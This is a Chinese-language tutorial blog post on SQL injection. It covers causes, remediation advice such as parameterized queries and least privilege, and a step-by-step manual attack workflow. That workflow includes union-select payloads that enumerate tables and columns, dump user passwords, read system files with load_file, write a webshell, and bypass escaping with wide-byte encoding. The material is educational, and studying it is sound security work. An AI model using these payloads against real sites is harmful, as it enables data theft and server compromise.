SQL注入

SQL注入
一、简介:
将SQL语句添加到输入参数,传递到服务器解析并执行SQL语句的一种攻击手段。
对于用户提交的参数未进行过滤达到 SQL 语句执行,黑客可以利用该漏洞执行任意 SQL 语句,如查询数据、下载数据、写入webshell 、执行系统命令以及绕过登录限制等。
本质:是把用户输入的数据当做代码执行。
这里有两个关键条件:
1.用户能够控制输入
2.原本程序要执行的代码,拼接了用户输入的数据

二、产生原因:
1.开发人员无法保证所有代码都进行过滤
2.攻击者发送给服务器的经过构造的可执行的sql语句
3.数据库未做相对应的安全配置对web应用设置特定的数据库账号,而不使用root或管理员账号,特定数据库账号给予一些简单操作的权限,回收一些类似drop的操作权限

三、SQL注入漏洞

  1. 探测漏洞
    使用扫描器,通过自动爬取等发现
    手工探测
  2. 获取数据库相关信息(拖库)
  3. 更进一步拿到当前主机webshell或者获得内网的权限

四、SQL注入修复建议

  1. 对产生漏洞模块的传入参数进行有效性检测,对传入的相关参数进行限定(确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为 int 型。)
  2. 当用户输入限定字符时,立刻转向自定义的错误页,不能使用服务器默认的错误输出方式(避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。)
  3. 对以上标签进行危险字符过滤,禁止('、"、+、%、&、<>、()、;、and、select等)特殊字符的传入或进行转义处理、编码转换。
  4. 加密数据库内存储信息
  5. 与数据库链接并访问数据时,使用参数化查询方式进行链接访问
    6.数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句无法正确执行。
  6. 网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能导致一些过滤模型被绕过。
  7. 严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。

五、判断注入点
and 1=1 页面正常显示
and 1=2 页面出现异常
最简单的方法: ‘ 看是否出现异常
其他方法:
数字传参id=2-1 显示id=1的页面(可以尝试 and -1=-1、and -1=-2、and 1>0、or 1=1)

通用法则:

  1. 单引号 ’ ——闭合前面语句的单引号SQL解析引起的报错
  2. 条件法则and 1=1——数字型1 and 1=1、字符串型1’ and ‘1’=’1、模糊型1%’ and 1=1
  3. 时间法则 sleep(盲注)——根据页面返回内容不同,基于逻辑真假的判断、根据响应时间的不同

六、注入流程
1.是否存在注入并且判断注入的类型
2.判断字段数 order by
3.确定是否存在回显点 union select 1,2
4.查询数据库的相关信息 @@version @@datadir
5.查询用户名,数据库名 user() database()
6.查询数据库表 table_name ()
7.查询数据库字段 column_name()
8.查询数据库数据 dump
7.文件读取写入 union select 1,load_file(‘C:\wondows\win.ini’)# 写入 webshell select…into outfile…
手工注入
三种 sql 注释符:
1.# 单行注释 注意与url中的#区分,常编码为%23
2.–空格 单行注释注意为短线短线空格
3./()/ 多行注释 至少存在俩处的注入/**/常用来作为空格
补充一点,使用 sql 注入遇到转义字符串的单引号或者双引号,可使用 HEX 编码绕过
1、寻找注入点
and 1=1(页面正常)/and 1=2(页面不正常);
单引号’(看是否报错)、盲注or sleep(5);
数字型传参http://www.xxx.com?id=1可以进行id=2-1看是否正常显示(and -1=-1/-2)
2、猜解字段数(几个库)
order by 1 #只能用于MySQL数据库
order by 1 如果页面返回正常 字段数不少于 1,order by 2 不少于 2,一直如此类推直到页面出错。正确的字段数是出错数字减少 1
3、联合查询寻找输出点(获取数据库相关信息)
构造自己的查询语句获取当前数据库的相关信息:
?id=1 and 1=2 union select 1,database(),user()…
使用基本的数据库函数:
user()获取当前登录账户
database()获取当前数据库
version()获取当前数据库版本 mysql 版本
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
全局函数
4、获取表名
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()——group_concat()函数使数据一起显示
-1’ union select 1,table_name from information_schema.tables where table_schema=database()——分开显示 1全现
-1’ union select 1,table_name from information_schema.tables where table_schema=0x64767761 limit 1,1——通过limit查询(16进制数据库名)
5、获取列名
1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’ ——所有列名
-1’ union select 1,column_name from information_schema.columns where table_name=‘users’ ——分开显示所有
-1’ union select 1,column_name from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273 limit 1,1 %23(#)—— 通过limit查询
6、获取想要的数据
1’ union select user_id,password from users #
-1’ union select user,password from users #

利用工具注入-SQLmap

七、注入类型

  1. 按照注入点类型来分类
    (1)数字型注入点
    select * from users where id=1
    (2)字符型注入点
    select * from users where username=‘admin’
    (3)搜索型注入点
    select * from news where title like ‘%标题%’

  2. 按照数据提交的方式来分类
    (1)GET 注入
    GET 请求的参数是放在 URL 里的,GET 请求的 URL 传参有长度限制 中文需要 URL 编码
    链接http://xxx.com/news.php?id=1 , id 是注入点。
    (2)POST 注入
    利用post传参。POST请求参数是放在请求body 里的,长度没有限制
    Post注入高危点:登录框、查询框、各种与数据交互的框。
    (3)Cookie 注入
    HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
    (4)HTTP 头部注入
    注入点在 HTTP 请求头部的某个字段中。
    请求头的参数传递——user-agent、refferer、x-for-word

  3. 按照执行效果来分类
    盲注 (面对服务器关闭了错误回显)没有错误回显。
    服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”。
    相关盲注函数(数据库函数)
    length() 函数 返回字符串的长度
    mid()函数用于得到一个字符串的一部分,这个函数被MySQL支持,在SQL Server,Oracle中,我们可以使用substring()或substr()作为替代。
    ascii() 返回字符的ascii码
    sleep() 将程序挂起一段时间n为n秒
    if(expr1,expr2,expr3) 判断语句 如果第一个语句正确,就执行第二个语句,如果错误,执行第三个语句

(1)基于布尔的盲注
根据用户的输入返回正确信息(True)或错误信息(Flase)
(2)基于时间的盲注
不管用户输入正确的还是错误的,返回都按正确的处理(或者返回一个模糊的信息)
加入特定的时间函数,查看页面的返回时间来判断注入语句是否正确
(3)基于报错注入
数据库在执行时,遇到语法不对,会显示报错信息
(4)联合查询注入
联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的字段要数要相同,不然会出现报错。
(5)堆查询注入
堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开,而堆叠查询注入攻击就是利用此特点,在第二条语句中构造要执行攻击的语句。
(6)宽字节注入
宽字节注入主要是源于程序员设置数据库编码与 php 编码设置为不同的两个编码,这样就可能会产 生宽字节注入。GBK 占用两字节,ASCII 占用一字节。PHP 中编码为 GBK,函数执行添加的是 ASCII 编码(添加的符号为‚\‛),MYSQL 默认字符集是 GBK 等宽字节字符集。 输入%df%27,本来\ 会转义%27(’),但\(其中\的十六进制是 %5C)的编码位数为 92,%df 的 编码位数为 223,%df%5c 符合 gbk 取值范围(第一个字节 129-254,第二个字节 64-254),会解析 为一个汉字‚運‛,这样\就会失去应有的作用
八、SQL 注入绕过

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值